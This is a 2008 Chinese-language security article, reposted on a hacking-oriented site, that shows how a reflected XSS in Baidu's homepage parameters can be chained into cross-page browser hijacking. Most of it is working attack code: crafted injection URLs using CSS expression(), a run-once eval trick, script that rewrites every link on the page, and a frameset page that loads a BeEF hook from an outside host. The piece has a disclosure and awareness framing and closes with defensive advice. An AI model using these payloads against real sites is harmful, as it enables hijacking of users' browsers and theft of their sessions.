首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
跨站脚本漏洞导致的浏览器劫持攻击
来源:http://www.80sec.com 作者:rayh4c 发布时间:2008-06-26  

|=———————————————————————————————–=|
|=—————–=[ 跨站脚本漏洞导致的浏览器劫持攻击 ]=—————–=|
|=———————————————————————————————–=|
|=————————————-=[ By rayh4c ]=————————————=|
|=——————————-=[ rayh4c@80sec.com ]=—————————-=|
|=————————————————————————————————=|

原始来源:http://www.80sec.com/release/browser-hijacking.txt
0x00 唠叨两句

网上看见很多人研究跨站脚本漏洞,好像跨站脚本漏洞已经成为Web安全中的一大热点了,但实际上很多人并不了解这一漏洞能造成什么程度的危害,某同学曾经报过一个参数类型的URL链接XSS给某程序,被厂商鄙视了下,说这种漏洞有什么用,只能弹个框给自己看,最后一笑了之。

0x01 题外科普

跨站脚本漏洞主要分为两类:

一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面就可能受到攻击。另外一类是参数型XSS,主要是将脚本加入URL地址的程序参数里,参数进入程序后在页面直接输出脚本内容,用户点击类似的恶意链接就可能受到攻击。传统的XSS攻击都是盘算如何盗取客户端COOKIE,然后劫持客户端和WEB服务端的会话,其他还有利用XSS进行网络钓鱼的攻击方法,这类攻击都是针对客户端进行攻击,而近年流行的XSS WORM攻击方式,是通过AJAX技术把恶意的XSS数据感染到每一个用户,可以对WEB服务造成很大的影响,间接实现了对WEB服务端的攻击。

0x02 一个典型的参数型跨站脚本漏洞

我拿百度主页的一个XSS做个演示(以前给百度报过漏洞,但是百度没什么反应),这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:

<code>
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));
</code>

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用"(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:

<code>
<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));"><input type=hidden name=bar value="">
</code>

这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的"(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合"(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:

<code>
eval(unescape(location.hash.substr(1)))
</code>

给window对象的方法定义一个值,判断这个值运行一次代码:

<code>
(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1
</code>

最后得到完美的攻击链接:

<code>
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29
</code>
0x03 新的攻击方式

从攻击的起点来说跨站脚本漏洞是有一定局限性的,跨站脚本漏洞无论是针对客户端还是针对WEB服务端的攻击都是被动式的攻击,我们只能在对方站点有漏洞的页面加入了恶意的javascript,用户只有访问了特定的页面才会触发漏洞,而离开这个页面,攻击也就随之失效。我们都知道AJAX技术中的xmlhttp组件是无法跨域发送请求的,一定程度上浏览器的安全特性间接影响着WEB漏洞的发挥,在《浅析浏览器的跨域安全问题》这篇文档里我就说明过浏览器跨域的一些安全特性,其中我发现window对象打开的窗口如果是同一个域的话,可以向打开的这个窗口再注入脚本运行。利用浏览器的这个安全特性,我们结合跨站脚本漏洞就可以修改同域内任何一个页面,比如利用百度的这个XSS来修改www.baidu.com域内的一个页面:

代码内容:

<code>
x=window.open('http://www.baidu.com/duty/');
setTimeout(function(){
x.location="javascript:document.write('茄子宝到此一游')"
},10)
</code>

最后可以得到的攻击链接:

<code>
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29
</code>

进入这个链接后,允许浏览器弹窗,会弹出 http://www.baidu.com/duty 页面,整个页面会被修改成“茄子宝到此一游” :)
0x04 利用XSS漏洞跨页面劫持浏览器

现在我就利用所有的条件来实现一次模拟攻击,首先是核心代码,给打开的窗口注入一个JS:

<code>
function win(){
x=window.open('http://www.baidu.com');
setTimeout(function(){
x.location="javascript:var s=document.createElement('script');s.setAttribute('src','http://beef.js');document.getElementsByTagName('head')[0].appendChild(s);void(0)"
},3000)
}
</code>

然后是劫持代码,历遍当前页面所有的链接,把链接绑定核心代码:

<code>
window.onload=function(){
for (i=0;i<document.links.length;i++) {
document.links[i].href="javascript:win()"
}
}
</code>

再利用百度XSS重写一个页面加入劫持代码,并且把这个攻击链接放入一个框架页:
<code>
<html>
<head><title>XSS 注入</title></head>
<frameset cols="100%">
<frame name="xss" src='http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval("window.r=1;eval(unescape(location.hash.substr(1)))"):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.createElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29' scrolling="auto">
</frameset>
<noframes>
<body></body>
</noframes>
</html>
</code>
最后实现的效果是在这个页面打开的链接和浏览的网页的都被注入了脚本,利用参数型跨站脚本漏洞我们成功的构造了一次跨页面的浏览器劫持,模拟攻击中我是给页面注入一个BEEF(非常出名的跨站脚本攻击平台)脚本进行渗透攻击,具体可以参照我这里做好的一个录像:

http://www.80sec.com/release/baidu-xss.html

在这里我只是完成了一个很简陋的EXP,实际攻击中我们注入的脚本应该是把页面重写成跨框架脚本攻击页面(http://ortdx.blog.163.com/blog/static/213610812006912114755107/),然后再结合AJAX技术劫持页面里所有的链接和表单,新浏览的页面和新开的窗口都能自动注入脚本,这样几乎可以控制住所有从跨站脚本漏洞页面出来的页面。

0x05 总结

以往大家都以为XSS漏洞只能对特定页面造成影响,经过我的分析大家应该了解到XSS漏洞的影响应该是整站范围的。以后的WEB x.0网站开始大量使用AJAX技术,浏览页面几乎是不刷新的,所以利用XSS漏洞劫持浏览器这种攻击方式将是致命的。另外可以看到的是,XSS已经不是传统意义上的劫持会话进行攻击,而是劫持用户的整个浏览器。建议各大网站和程序开发者,谨慎对待每一个可能出现安全问题的细节,多检查程序中的输入输出,尽量避免XSS漏洞。对于用户可以考虑使用Firefox浏览器的noscript插件,从客户端防住XSS攻击。
最后感谢HI群的朋友们给我提供的资料,同时欢迎各位朋友到80SEC来进行技术交流。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·OmniPeek抓包的一点看法
·破解无线过滤MAC
·破解WEP加密
·破解禁止SSID广播
·Intel 3945ABG用OmniPeek 4.1抓
·informix注入整理
·针对Oracle的TNS listener的攻击
·又一个猥琐的技巧:Surf Jacking
·实例:对某企业站点的安全检测
·饶过Xplog70.dll玩入侵
·hzhost虚拟主机系统致命漏洞
·拿下DVBBS php官网
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved